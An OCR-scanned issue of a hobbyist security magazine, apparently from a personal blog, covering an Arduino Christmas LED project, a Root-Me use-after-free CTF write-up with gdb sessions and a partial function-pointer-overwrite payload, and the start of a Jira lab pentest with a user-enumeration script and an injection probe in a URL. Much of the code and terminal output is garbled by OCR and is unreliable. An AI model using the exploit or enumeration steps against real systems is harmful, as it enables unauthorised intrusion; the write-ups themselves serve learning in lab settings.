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Hello World

Today — we should start here:

Looks like we have a 3rd part of the Notes Magazine started few weeks ago. So far we talked about:

Creating web modules for
Metasploit

In Part 1(1)

Where we talked about small Webmin poc

Wordprice.py - quick&dirty mass-
scanner for Wordpress Plugins

In Part 1(2)

Where we talked about automation for scanning
Wordpress resources

Learning Arduino - intro to DIY

In Part 1 (3)

Where | started few ,electronic” projects

Un-restricted content - YouTube
case

In Part 1 (4)

Where we talked about small bug in censor at
Youtube

For the # heap is only In Part 2 (1) Where | tried to describe my steps to learn some
basic heap overflows

El Laberinto Del Puszek In Part 2 (2) Here | tried to learn more about Kernel hackning

A(t the BANK) Persistent Threats In Part 2 (3) We talked about escalations

Seagull Hunter In Part 2 (4) Where we prepared a small detector for (slowly;))

flying objects

At this stage | would like to admit that it was a massive surprise for me when | received multiple
feedbacks from you. | was never even tried to imagine that some day it will inspire someone
somehow. ,, Thank you” today goes to: all the readers. For me it means , that someone, somewhere

cares”.;)

You made my Christmas Merry. Thank you.



https://code610.blogspot.com/
https://code610.blogspot.com/2020/11/code16-notes-magazine-01.html

Today we’ll talk a little bit about few other cases. | tried to summarize them a bit in a few separated
sections.

In the first one | talked about our electric mini-lab.

In second part we’ll talk about using something when it’s already free. ;) Here — similar to the part 2
of the Notes Magazine — | tried to learn a little bit more about heap exploitation.

Third section is related to Jira — popular webapp in many companies. Here | tried to look around as a
,hormal AD/Jira user” to see what can be found there to prepare other ‘stages of the attack’ during
internal pentest.

In next part — called: PR for your Company — | tried to take few notes about so called Relative Path
Injections (or PRSSI). We'll try to prepare a scenario to exploit this bug.

5th section was prepared to help me think about important possibilities when I’'m trying to pass the
exam called XDS one more time (trying harder anyone?) ;)

In the next section | used CentOS to automate internal scans (or ‘patch management’— you’ll name it
)

After checking one of the ways to do it — | decided to check another option. And that’s how we can
read about it in section called Bones of the Green Dragon.

In last section | prepared for Notes — Part 3 | tried to understand more about mainframe(s attacks).
That’s why we’ll check Her-Cool-S. ;)

So? Here we go...
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IT’S XMAS TIME




Intro

During this magic Christmas time ;) | decided to take a break for a while and prepare some
new super-not-advanced device related to the previous cases described in last ,Notes Magazine”
parts [1].

This time we’ll prepare something for the Christmas — a  little tree” ;>. But first let’s take a
look around what do we need for this circuit. Here we go...

Environment
Today we’'ll start here (because | was preparing an other devices but... it burned ;] Well. ,,Next time”
;)), so: | decided to use Arduino UNO again. What else we’ll need to step forward?

For example[2]:

- breadboard

- Arduino UNO

-2 x LED’s (l used green and red but feel free to check other as well)
- 2x resistor 330 ohm

- few cables to connect the breaboard to Arduino.

If there will be anything new to add — | will mention in below in the article.


https://code610.blogspot.com/2020/11/code16-notes-magazine-01.html
https://forbot.pl/blog/kurs-arduino-podstawy-programowania-porty-io-id3648

Simple Example
For now we should be here[2]:

@ xmas01 | Arduino 1.8.13

Plik Edytuj Szkic Narzedzia Pomoc

xmasil §

void setup() {
pinMode (8, OUTBUT); // set pin as an output
pinMode (9, OUTEUT);
digitalWrite(8, HIGH); // init state
digitalWrite (9, LOW);

void loop() {
digitalWrite (8, HIGH); //light on
digitalWrite (9, LOW); //light off
delay(1000); // wait 1 sec
digitalWrite (8, LOW);
digitalWrite (9, HIGH);
delay (1000 ; |

As you can see | modified a little bit an example presented in the course so after quick upload of the
code to the Arduino we should be somewhere here:

So far, so good. Let’s move forward...


https://forbot.pl/blog/kurs-arduino-podstawy-programowania-porty-io-id3648

Xmas Example

| remember the days when there was ,,nothing in the shops” ;] so most often if you would like to play
(as a kid) you had 2 options: a) go outside or b) make a ‘toy’ for you to have some fun in that tie. Now
we’ll use the scheme described in the previous section to rebuild it to something else.

To continue you’ll need a paper and few markers. ;) (Maybe it’s also a good idea to finally spent some
time with your kid, hm? ;) , but | will leave this idea to you as an exercise” ;)) Here we go!

We'll start here:

Yes, | know it is beautiful! xD Let’s make it more pretty:

Next step in this super-scenario is to make a tube with your new painting, isn’t it? ;> So we are here:




Final step:

Yes. Now | can feel the Xmas magic! ;] | hope you can feel IT too. ;)
See you next time ,,...and a happy New Year”!

Cheers



References
Links/resources | found interesting while | was creating this article:

1 — Notes Magazine Part#01

2 — Forbot Course (PL only afaik)



https://code610.blogspot.com/2020/11/code16-notes-magazine-01.html
https://forbot.pl/blog/kurs-arduino-podstawy-programowania-porty-io-id3648

FREE TIME




Intro
This time | decided to read a little bit more again about use-after-free bugs. Below you'll find
few notes about it (but please be carefull: there are few spoilers ;]).

Let’s prepare an environment. Here we go...

Environment

This time | used the challenge (still) available online (so you should know that below you’ll find some
»prohibited” spoilers. Sorry for that but from the other hand | used that this example will be
excellent ,for me” to learn, practice and prepare a ‘writeup’ (for future me — as usual[1] ;]).

So — special thanks for preparing the challenge goes to Esad and Root-Me Team/2]:

ACCUEIL CHALLENGES APP - SYSTEME

ELF x86 - Use After Free - basic
25 Points

UAF
Auteur Niveau ®
Esad, 26 mai 2019 DD

When you'll register[2] there you'll see that for this challenge we have already available source code:

Source code :

#include <«stdli
#include

#include <s
#include <unistd.h>

#define BUFLEN 64

struct Dog {
char name[12];
void (*bark) ()
void (*bringBackTheFlag) ();
void (*death) (struct Dog¥);

We also know how to compile the binary — all the security settings are also presented on the
challenge’s page (that’s why | like Root-Me website, you don’t need to think how to set up your box
or what should be installed to run this-or-that-challenge. Everything you need to focus is described
on each challenge and by the way — Root-Me[2] Team already preared a working online environment
for you as well (for example if you can not run your own ‘lab’)). Defenitelly — check it!

For now:


https://code610.blogspot.com/p/mini-arts.html
https://www.root-me.org/en/Challenges/App-System/ELF-x86-Use-After-Free-basic
https://www.root-me.org/en/Challenges/App-System/ELF-x86-Use-After-Free-basic
https://www.root-me.org/

Statement

Env

According to all those details it should be easier now to continue and find a way to exploit this
binary. To proceed | used Ubuntu 18.04 VM (x64) on VirtualBox. We shoule be somewhere here:

TUULWUDNIILU, S ITUINE fUSEl/udl

iew Search Terminal Help

af# 1lsb_release -ajuname -a
able.

: Ubuntu
ription: Ubuntu 18.84.4 LTS

Release:
Codename:
% ubuntu

Let’s continue here:

Challenge connection informations :
Host challenge03.root-me.org
Protocol SSH
Port 2223
SSH access ssh -p 2223 app-systeme-ct rg B WebSSH
Username app-systeme-ch63
Password app-systeme-ch63

If you don’t have your own VM or can not create it for some reasons — you can still use WebSSH
access available on the page:

/tmp and [var/tmp are writeable
Validation password is stored in $HOME/_passwd
Useful commands available:

python, perl, gcc, netcat, gdb, gdb-peda, gdb-gef, gdb-pwndbg, ROPgadget, radare2, pwntools

Publishing solutions publicly (blog, github, youtube, etc.) is forbidden.
Publier des solutions publiquement (blog, github, youtube, etc.) est interdit.

_/ché6: tuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter [lib/old32/1d-2 19 so,
01012F261cdcf _not ctrinned

Let’s move forward.



Example scenario
As you can see on the page with the challenge description — there are already few links mentioned in
the ‘reference’ senction (you'll find them linked below as well). I'll suggest you to read them too.

Continuing:

root-me.org

app-systeme-ch63@challenge®3.root-me.org's p:
ch63 166% 12KB

' user@ubuntu:~5

| opened the file in gdb (with pwndbg[2] installed):

user@ubuntu:~S 1s -la ch63

-r-sr-x--- 1 user user 44 Dec 16 B83:26 ch63
user@ubuntu:~5 gdb ./ch&3
GNU gdb (Ubuntu 8.1-Bubuntu3.2) 8.1.08.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.

License GPLwv GNU GPL version 3 or later <http://anu.org/licens
This is free software: you are free to change and redistribute it
There is NO WARRANTY, to the extent permitted by law. Type "show
and "show warranty" for details.

This GDB was configured as "x86 64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/=.

Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/=.

For help, type "help".

Type "apropos word" to search for commands related to "word”...

Reading symbols from ./ché3...(no debugging symbols found)...done

Checking file with checksec command:

checksec
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of fhomefuser/.cachs
"never' (old way).
0Or add the following lines to ~/.pwn.conf (or fetc/pwn.conf system-
[update]
interval=never
[*] A newer version of pwntools is available on pypi (4.2.1 --
Update with: S pip install -U pwntools
chg3'

138 little
Full RELRO
Canary found
NX enabled
3 Mo PIE (@x8048060)
RUNPATH: b'/lib/old32/’

As we remember we already have the source code — let’s go back there to find out what this code is
doing and where is the bug. ;) We should be here:


https://github.com/pwndbg/pwndbg

void bringBackTheFlag(){
char flag[32];
FILE* flagFile = fopen(".passwd","r");
(flagFile == NULL)

puts ("fopen error™);
exit(l);

fread(flagq, 1, 32, flagFile);
flag[20] = 0O;

fclose (flagFile) ;

puts (flag);

(Looks like a good moment to create a ,,.passwd”/flag file on ym Ubuntu VM. ;)) At this stage | tried
to read the whole source to understand line-by-line what this code will do and how it’ll possibly
behave during the execution. After a while | was here:

int main(){

struct Dog* dog = NULL;

struct DogHouse¥ dogHouse = NULL;

('end) {
puts("l: Buy a dogynZ: Make him bark\mn3: Bring me the flag\n4: Watch his death\n5: Build dog house\j]
order = getc(stdin);

nl = gete(=ztdin);
(nl '= "\n"){

exit (0);

fseek (stdin, 0, SEEEK_END) ;

After reading the code you can see in main() that the program is ready to do few things: create,
watch, build and so on. As far as | think if we will create a dog, create a dog house, add a dog to that
house, next delete the dog and create a new one — then ,,the new one” should get the ‘first free
house’, right? ;] We'll see. Let’s switch to the console window now:

1
How do you name him?
AAAA
You buy a new dog. AAAA is a good name for him
Buy a dog
Make him bark
Bring me the flag
Watch his death
Build dog house
Give dog house to your dog
Break dog house
Quit

UAF!1!

UAF!IITI

UAF!11

1- Buy a dog

2- Make him bark

3: Bring me the flag

Dog is ready let’s continue:



Build dog house

Give dog house to your dog
Break dog house

Quit

ou do not have a dog house.
- Buy a dog

Make him bark

Bring me the flag

Watch his death

Build dog house

Give dog house to your dog
Break dog house

Quit

5:
[
T:
0:
6

Y

1-
2:
3:
4:
5:
[
T:
0:
5

Where do you build it?
BBEB

How do you name it?

CCcc

You build a new dog house._
1: Buy a dog

House is ready too, let’s continue below:

- Buy a dog

- Make him bark

- Bring me the flag

- Watch his death

- Build dog house

- Give dog house to your dog
- Break dog house

: Quit

- BE - N RS FE I SRR

:

run under a car... AAAA 0-1 car
- Buy a dog

- Make him bark

- Bring me the flag

- Watch his death

- Build dog house

- Give dog house to your dog

- Break dog house

- Quit

(= =R = R S R SR S

lives in BBBB.
1: Buy a dog

Ml Lo LI

Ups... looks like an empty house ;) Let’s create a new dog:

How do you name him?

DDDD

You buy a new dog. DDDD is a good mame for him
- Buy a dog

Make him bark

Bring me the flag

Watch his death

Build dog house

Give dog house to your dog
Break dog house
Quit

D SR W

DDDD lives in BBBB._
1: Buy a dog

2- Make him bark

3: Bring me the flag
4- Watch his death

Looks like new dog is in old house. So far, so good. Let’s see what’s next... | started gdb to look
around for a while. Now I’'m pretty sure | can not use a long name for my dog. ;) My dog couldn’t
understand it:



(gdb) r
Starting program: f[challenge/app-systeme/ch63/ch63
warning: the debug information found in "/1libjold32/1ibc-2.19_so0" does not match "/1ib/old32/1libc_so.6" (CRC mismatch).

- Buy a dog

- Make him bark

- Bring me the flag

- Watch his death

- Build dog house

- Give dog house to your dog
- Break dog house

- Quit

1
2
3
4
5
&
7
[¢]
1

How do you name him?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGY, Segmentation fault.
0x08048740 in eraseNl ()

(gdb) bt

#0 0x08048740 in eraseNl ()

#1 0x08048c65 1n mailn ()

cadby

Ok, now we should be here trying another name for our dog:

How do you name him?
BEBBBBBBEBEEEBEBEEEBBEEEBEEBEBEBBEEBBEBB
You buy a new dog. BBBEBBEBBEBBEBBEBBEBBEBBEBBEBBEBBBBBBBBE is a good name for him
- Buy a dog

Make him bark

Bring me the flag

Watch his death

Build dog house

Give dog house to your dog

Break dog house

Quit

L= o RN = R ¥, R SR S ]

BEBBBBBBBBBBet q" lives in HERE.
1: Buy a dog

2- Make him bark

3: Bring me the flag

Well well well, what is this? ;]

0- LLVe dog house to your dog
7- Break dog house
0: Quit
T
You break the dog house._
1- Buy a dog
- Make him bark
Bring me the flag
Watch his death
Build dog house
Give dog house to your dog
Break dog house
Quit

BBBBBBBBBBBBet q" lives in
1- Buy a dog

Looks similar for deleted house. One more thing:



6

BBBBBBBBBBBBet q” lives in _
1- Buy a dog

2: Make him bark

3: Bring me the flag

4: Watch his death

5: Build dog house

6- Give dog house to your dog
7

0

1

H:

- Break dog house
- Quit

ow do you name h

AAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAA

You buy a new dog. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is a good name for him
1- Buy a dog

- Make him bark

: Bring me the flag

- Watch his death

- Build dog house

- Give dog house to your dog

- Break dog house

Quit

O~ DA WN

AAAAAAAAAAAAe: " q” Lives in AAAAAAAAAAAAef q .
1- Buy a dog
2 - _Make him harck

Ok. Let’s move forward...



Example attack
Check it out! What a surprise ;>

7- Break ng house
0:- Quit

4

AAAAAAAAAMAA run under a car... AAAAAAAAAAA 0-1 car
Buy a dog

Make him bark

Bring me the flag

Watch his death

Build dog house

Give dog house to your dog

Break dog house

Quit

1-
2:
3=
4:
5:
6:
7:
0:
3

B

ring me the flag !'!!
prefers to bark_ __

Buy a dog

Make him bark

Bring me the flag

Watch his death

Build dog house

Give dog house to your dog
Break dog house

Quit

N R L, N PR N

run under a car.__ ©-1 car
**% Error in " [challenge/app-systeme/ch63/ch63': double free or corruption (fasttop): Ox09ab5008 ***

Program received signal SIGABRT, Aborted.
Oxf7f4d079 in _ kernel_vsyscall ()
(gdb) Il

It looks like there is no death after death ;) You can only die once. And you are free. Well. ;] Let’s
continue below:

TUl anact a vai -

v
*%% Error in " fchallengefapp-systemef/ch63/ch63'- double free or corruption (fasttop)- Ox08490008 **#*

Program received signal SIGABRT, Aborted.

Oxf7f9c079 in _ kernel wsyscall ()

(gdb) bt

#0 Oxf7f9c079 in _ kernel_vsyscall ()

#1 Oxf7e15687 in raise () from [libfold32/libc_

#2 0Oxf7e18ab3 in abort () from /lib/old32/1libc_so.

#3 Oxf7ed4ffd3 in ?? () from [lib/old32/1libc_so_6

#4 Oxf7e5adba in ?? () from [lib/old32/libc so 6

#5 Oxf7esbi2d in 2? () from /flib/old32/libc.so_6

#6 [CXEEEETNin death ()

#7 0x08048d37 in main ()

(adb) disas death

Dump of assembler code for function death:
0x08048871 <+0>: push  ebp
Ox08048872 <+1>- mov ebp,esp
0x08048874 <+3>: push  ebx
0x08048875 <+4=: sub esp,0x24
Ox08048878 <+7=- call ©Ox8048650 < x86 _get pc_thunk bx>
Ox0804887d <+12>: add ebx ,0x2733
0x08048883 <+18>: mov eax ,DWORD PTR [ebp+0x8]
Ox08048886 <+21>- MoV DWORD PTR [ebp-8x1c], eax
0x08048889 <+24=: mov eax,gs:-0x14
0x0804888T <+30=: mov DWORD PTR [ebp-0xc],eax
Ox08048892 <+33>- XOr fax, eax
Ox08048894 <+35=: mov edx ,DHORD PTR [ebp-6xic]
0x08048897 <+38>: mov eax ,DHORD PTR [ebp-@x1c]
Ox080488%a <+41=- sub esp,0x4
Ox0804889d <+44=- push  edx
0xB80488%¢ <+45>: push  eax
Ox0804889f <+46>: lea eax, [ebx-0x2100]
Ox080488a5 <+52=- push  eax
OxB80488a6 <+53>: call  Ox8048500 <printf@plt=
0x080488ab <+58=: add esp,0x10
0x080488ae <+61>: sub esp,0xc
0x880488b1 <+64>: push  DWORD PTR [ebp-0xic]
0x080488b4 <+67=: call 0x8048510 <free@plt>

<+72>- add esp,0x160

0x080488bc <+75>: nop
0x080488bd <+76>: mov eax,DHORD PTR [ebp-0xc]
Ox080488cO <+79>- xXor eax ,DWORD PTR gs-0x14

So far, so good. Next | decided to use only a webssh access available on the page — quick reason is
presented below:



@ubuntu:

h:

3 executable, 80386,
/01d32/1d-2.1 o, for Gl
not stripp

So for now we should be here, checking functions inside the binary:

Type "apropos word"” to search for commands related to "word". ..
Reading symbols from _/ch63._._(no debugging symbols found).__done.
(gdb) info functions

A1l defined functions:

Non-debugging symbols:

0x080484c® _1init

0x08048500 printf@plt

0x08048510 free@plt

0x08048520 fgets@plt

0x08048530 fclose@plt

0x08048540 sleep@plt

Ox08048550 _ stack chk_fail@plt
0x08048560 _10_getc@plt
0x08048570 fseek@plt

0x08048580 fread@plt

0x08048590 malloc@plt

0x080485a0 puts@plt

Ox080485b0 exit@plt

Ox080485c0 _ libc_start_main@plt
Ox080485d0 fopen@plt

0x080485e0 strncpy@plt
0x080485f0 _ gmon_start @plt
0x08048600 _start

0x08048640 _dl_relocate static_pie
Ox08048650 _ x86_get_ pc_thunk_bx
---Type =return= to continue, or g <return= to quit---
0x08048660 deregister_tm_clones
0x080486a0 register_tm_clones
0x080486e0® _ do_global dtors_aux
0x08048710 frame_dummy
Ox08048716 eraseNl

0x08048765 bark

0x080487cb bringBackTheFlag
0x08048871 death

0x080488d3 newDog

0x0804896c attachDog

Ox080489c8 destruct

0x08048a3c newDogHouse
0x08048b4b main

0x08048dec x86_aget pc thunk_ax

Ok and what if we will kill created dog just before we’d like to give him a doghouse? Let’s see:



Watch his death

Build dog house

Give dog house to your dog
Break dog house

Quit

d run under a car... asd 0-1 car
Buy a dog

Make him bark

Bring me the flag

Watch his death

Build dog house

Give dog house to your dog
Break dog house

Quit

7

4-
5:
6:
7:
0:
4

a

1:
2:
3:
4:
5-
6:
7:
0:
5

Where do you build it?
AAAAAAAAAARAAAAAAARAAAAAAAR
How do you name it?
BEBEBEBEBEBBBBBBBEBEB

You build a new dog house.

- Buy a dog

Make him bark

Bring me the flag

Watch his death

Build dog house

Gilve dog house to your dog
Break dog house

Quit

M@~ LA WM

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) 1 r

eax 0x41414141 1094795585

ecx Oxf7f798a4 -134768476

edx oxfEfrfffff -1

ebx 0x804afbo 134524848
Oxfff97ccc Oxfff97ccc
Oxfff97d48 OxfFffo7d48
0x0 0
Oxfff97d2c -426708
0x41414141 0x41414141

Looks interesting. So we can write a value that will be later executed? It looks like, so I'd like to run
(the value of) the ,bringBackTheFlag()” function, let’s try below:

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in 22 ()
(gdb) 1 r
eax 0x41414141 1094795585
ecx Oxf7f798a4 -134768476
edx Oxffffffff =1
ebx 0x804afbo 134524848
esp Oxfff97ccc Oxfff97ccc
ebp Oxfffo7d4s Oxfffo7d48
esi 0x0 0
edi Oxfffa7d2c -426708
eilp 0x41414141 0x41414141

0x10202 [ IF RF ]

0x23 35

0x2b 43

0x2b 43

0x2b 43

0x0 0]
as 0x63 99
(gdb) p bringBackTheFlag
52 = {<text variable, no debug info>} 0x80487cb <bringBackTheFlag>
fadby

Next | was looking for a propper offset to set the address of bringBackTheFlag() to the dog’s house-
name (after the location):



5: Gilve dothouse to your dog
- Break dog house
- Quit

How do you name him?

QWERTY

You buy a new dog. QWERTY is a good name for him
- Buy a dog
- Make him bark

3: Bring me the flag

- Watch his death

- Build dog house

5: Give dog house to your dog
- Break dog house

- Quit

Where do you build it?
ABCDEFGHIJKLMNOP
How do you name it?
RSTUWYZ
You build a new dog house._
- Buy a dog
- Make him bark
3: Bring me the flag
- Watch his death
- Build dog house

We got the dog and the house, deleting the dog to give him the house?

6- Llve dog house Lo your dog
7- Break dog house

0- Quit

4

QWERTY run under a car... QWERTY 0-1 car
- Buy a dog

Make him bark

Bring me the flag

Watch his death

Build dog house

Give dog house to your dog
Break dog house

Quit

= W = R [ - S LN Y

lives in ABCDEFGHIJKLMNOPRSTUWYZ _
1: Buy a dog
2: Make him bark

Nope. First we need to free the dog. One more time:

0- Quit
4

AAAA run under a car... AAAA 0-1 car
- Buy a dog

- Make him bark

- Bring me the flag

- Watch his death

- Build dog house

- Give dog house to your dog

- Break dog house

: Quit

MO~ b WA=

Where do you build it?
ABCDABCDABCDABCD
How do you name it?
ABCDABCDABCDABCD
You build a new dog house.
1: Buy a dog
2: Make him bark
- Bring me the flag
- Watch his death
- Build dog house
5: Give dog house to your dog
- Break dog house
: Quit

Program receilved signal SIGSEGV, Segmentation fault.
0x44434241 1n ?? ()

Looks better now. ;) Let’s change the address for the one we want:



6: Give dog house to your
7: Break dog house

B- Quit

Where do you build it?
How do you name it?

You build a new dog house.
1: Buy a dog

2: Make him bark

- Bring me the flag

- Watch his death

- Build dog house

- Give dog house to your
: Break dog house

3
4
5
6
7

- Make him bark
- Bring me the flag
- Watch his death
- Build dog house
: Give dog house to your dog
- Break dog house
: Quit
"4 "CUE12 4 "\xcb\x87\x04\x88" + "\n" + "XXXXZZZZ\n" + "2\n"' | ./ch€3n" + "5

[ =R WV, SV ]

Looks like done! ;] (I will not present the full payload here to not spoil it too much for you.)

Enjoy.
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Links/resources | found interesting while | was creating this article:

1 - List of mini art’s

2 - pwndbg

3 — Root-Me.org



https://code610.blogspot.com/p/mini-arts.html
https://github.com/pwndbg/pwndbg
https://www.root-me.org/en/Challenges/App-System/ELF-x86-Use-After-Free-basic

PREVIEWING JIRA




Intro

| remember one time when | first saw Jira in the company | was asked to pentest. | was a little bit
surprised that ,,they are using it” — anyway — pentest is pentest, so | decided to take a look around...
After few years ;] | decided to check Jira again — this time on my local LAB environment — so below
you’ll find few notes about it. Here we go...

Environment
Below we’ll prepare a local working environment with latest Jira (8.13.1[1]). First o all | tried to install
version 7.9.1 on Windows VM, check it out:

E Setup - Confluence7.9.1 EI@

Installation Summary Atlassian

See where Confluence will be installed and the XCOnfluence

settings that will be used.

Installation Directory: C:\Program Files\AtassianConfluence

Home Directary: C:'Program Files\Atassian\Application DataiConfluence
HTTP Port: 8090

RMI Part: 3000

Install as service: Yes

But after a while (and some errors related to DB) | decided to switch back to Ubuntu VM:
ftware/jira/downloc

ian.com/software/jira/

sian-jira :
.atlas .com (www.atlassian.com)... 18.184.99.149, 18.184.

(www.atlassian.com)|18.18 .149|:443... connec

‘@ root@jirap: /home,/c/source
¢ - /he urce# ./atlas

/home

will install Jira Core 8.13.1 on your computer.
o, Enter], Cancel [c]

Click Next to continue, or Cancel to exit Setup.

the ropriate installation or upgrade option.
C one of the following:
e default settin; [1], Custom Install (recommended for advar

Installation was pretty smooth[2] so | continued with Burp and the browser:


https://www.atlassian.com/pl/software/jira/download
https://confluence.atlassian.com/adminjiraserver/installing-jira-applications-on-windows-938846835.html

while Jira Core starts up.

complete

1 is now ready

Before | started | also created 1 normal (read: not admin) user to check also the part of webapp
available for other users than the admin. We should be here:

c & © & 192.168.1.10:8080/projects/SEC/issues/SEC-17filter=allopenissues

have temporary access to administrative functions. Drop access if you no longer require it. For more information, refer to the documentation.

ra Core Dashboards ¥ Projects ¥  Issues v Create

secretproject Open ISSUES  switch filter v
mmary Order by Priority e { secretproject / SEC-1
Les e This is your first task
This is your first task
L # Edit Q Comment Assign  More v Start Progress D,
SEC-2
SHORTCUTS Workflows and statuses ~ Details
g in a project SEC-3 Type: Task Status:
Editing tasks jority: i ion:
management ideas g Priority: Medium Resolution:
. SEC-4 Labels: None
" Searching for informaticn
SEC5 ~ Description
Keyboard shortcuts ¢ This is your first task.
SEC-6 Issues are the things you do in a project. In business projects, issues are

W at'e et

So far, so good. Environment looks like a ready to start our pentest. At this stage it’s recommended
to create a snapshot (it will save you some time when you will trash Jira with some weird Burp’s
requests ;)). Let’'s move to the next section — we’ll try to enumerate Jira a bit to get some interesting
information that we can use later during the pentest. Here we go...



Goal
My goal here was very simple:

- learn more about Jira (cool intro to JSP source code auditing ;))
- find some bugs we can use during ‘the pentest project’.

Assuming we are asked to perform an internal pentest of the Jira installed in the organisation |
decided to enumerate the target installation and find out what | can do (or find) if | can access the
webpage as a normal (‘registered’ but not an admin) user or simply as a guest visitor. Below you'll
find few notes.

For example:

< C @ © A& 192.168.1.10:3080/rest/workflowDesigner/latest/workflows?name=

HTTP Status 400 — Bad Request

ETE Exception Report
[T Invalid character found in the request target [/rest/workflowDesigner/latest/workflows?name=SEC%3A+Project+Management+Workfi

The server cannot or wil not process the request due to something that is perceived to be a dlient error (e.g., mafformed request sy

[Exception|

java.lang.IllegalArgumentException: Invalid character found in the request targst [/rest/workflowD
org.apache.coyote.httpll.HttpllInputBuffer.parseRequestline (HttpllInputBuffer.java:505)
org.apache.coyote.httpll.HttpllProcesasor.service (HttpllProcessor.java:502)
org.apache.coyote.hbstractProcessorLight.process (AbstractProcessorLight.java: 65)
org.apache.coyote.AbstractProtocol$ConnectionHandler.process (AbstractProtocol.java:818)
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun (NioEndpoint.java:1626)
org.apache.tomcat.util.net.SocketProcessorBase.run (SocketProcessorBase.java:49)
java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1149)
java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:£24)
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable. run (TaskThread.javas:61)
java.lang.Thread.run(Thread.java: 748)

[T The full stack trace of the root cause is avalable in the server logs.

Apache Tomcat/8.5.57

| started from few initial Burp’s Intruder scans. After a while (as a guest visitor) | found multiple
stacktraces as a responses for a malformed requests but it still wasn’t what | was looking for. Next |
landed here, logged-in as a normal user:

&« > C Q‘ (VN1 192.168.1.10:8080/secure/ViewUserHover!default.,jspa?decorator=none&username=",0pen(123123);//8_=1606505512869
?

User does not exist: ';open(123123);//

Ok, so far, so good — looks like we have a possibility to enumerate users (yes, | know you can simply
view them when you’re looged in but that’s not the case here, isn’t it?). Checking username that
should exists in the target webapp:



&« C @

adn

administrator

admin@here.com

8:58 PM - Friday - Warsaw

Activity
* More
o Profile

o Current Issues
o Administer User

U & 1921 68.1.10:8080/secure/ViewUserHover!default.jspa?decorator=none&username=admin&_|

Ok, looks good. At this stage | decided to prepare a small script to enumerate users. To continue |
started VMWare with Kali Linux[3]. Below you’ll find a simple skeleton file we’ll try to extend. We'll

start here:

n-footer"

c@kali: ~/src/jirappwn

"jirappa.

% view-source:datatext/html;charset=utf-8,%3Cul class%3D"atlassian-footer

Jira URL here

Current results for our latest[1] Jira version (I used:8.13.1 x64) on Ubuntu are presented in the table

below:

c@kali:~/src/jirappwns$ ./jirappa.py

3k 3k 3k >k 3k 3k >k 3k 3k 3k %k 3k 3k 3k 3k 3k %k 3k >k %k 3k >k >k 3k %k >k 3k 3k %k %k %k >k %k >k 3k 3k >k %k 3k >k %k 3k >k %k 3k %k %k 3k >k %k %k %k %k %k %k %k %k %k %k %k >k kkkkkkkkk

>> Jirappa <<

sk 3k 3k >k sk 3k >k sk 3k ok ok ok ok %k ok ok %k 3k ok %k 5k %k %k sk %k %k sk sk 5k %k %k 5k %k %k >k ok sk ok ok %k ok ok ok 3k %k 3k %k %k 5k %k sk ok %k ok ok ok sk ok ok sk sk sk sk sk sk sk sk sk ok k

Tell me what is your Jira address: http://192.168.1.10:8080/



http://www.kali.org/
https://www.atlassian.com/pl/software/jira/download

Checking address: http://192.168.1.10:8080/
Init req: OK, host alive

Found version: (v8.13.1#813001-<

c@kali:~/src/jirappwn$

Let’s continue here:

192.168.1.10:3080/login jsp

80% s

Welcome to Jira 8.13.1

Username  hello

Password  eeees
Remember my login on this computer

Not a member? Sign up for an account.

[RRUN Can't access your account?

Atlassian Jira Project Management Software (v8.12.1#8 -shal:1f8e8da) About Ji

Powered by a free Atlassian Jira evaluation license. Please consider purchasi # init req ok,

A ATLASSIAN

Cool. Now our super-script is able to detect the version of remote Jira installation and check if there
is a login page. So far, so good but we still need to dig a bit deeper and (at least) — try to log in. Let’s
see, our request (in WebDeveloper Tools; Ctr+F12) looks like this:

7 Fit

Meto.

POST

GET
GET
GET
GET
GET
GET
GET
GET
POST

Domena

fa 1

S 192.168.1.1...
S 192.168.1.1...
4 192.168.1.1..
F 192.168.1.1...
H 192.168.1.1...
H 192.168.1.1...
H 192.168.1.1...
H192.168.1.1...
H 192.168.1.1...

[} Inspektor Konsola TN Siec [ Debuger {} Edytorstylow (3 Wydajnos¢ 4k Pamiec [ Dane ¥ Dostepnose 588 watki () AdBlock

batchjs?locale=en-US
batchjs?locale=en-US
batchjsZlocale=en-US
jira.webresourcesicaptchajs
shortcutsjs
jira.webresourcesbigpipe-js.js
jira.webresourcesbigpipe-init s
fav-jcore.png

resources

Welcome to Jira 8.13.1

@ Sorry, your username and password are incorrect - please try again.

Username

Password
Remember my login on this computer

Not a member? Sign up for an account.

Il Q ©  Wsgystkie HTML €SS JS XHR Czcionki Obrazy Media WebSocket Inne  []Wyka

B Nagiowki Ciasteczka  Zadanie  Odpowiedz  Pomiary czasu

Inigiator Tp  Przestano
document  html 7,84 KB V Filtruj par
script s w pamigci podr.. 0B v Dane formularza
script s w pamiedi podr.. 0B os_username: "hello”
script js w pamiedi podr... 0B os_password: "word"
. os_destination: ™"
script js w pamigd podr... 9.
user_role: **
t d 0B
scrip s amigei podr. i token:
script s amieci podr.. 0B login: "Log+In"
script s w pamieci podr... 3. v Zawartos¢ zadania
Faviconloa.. png  wpamiedipodr.. 4.. 1  os_username-hellofos_password-worldéos_destination-Guser_role-gatl_token-&login-Log+In
batchjsi19.. json 896 B 5.

Time to update our skeleton script. Let’s move forward...




Previewing JIRA

For now we should be here, intercepting the login request:

¢/ Requestto hitp:1192.168.1.10:8080

| Fowad || Drop J‘Interceptlsonv‘ Action

_[Raw T Params I Headers I Hex ]

POST /rest/gadget/1.0/login HTTP/1.1

Host: 192.168.1.10:8080

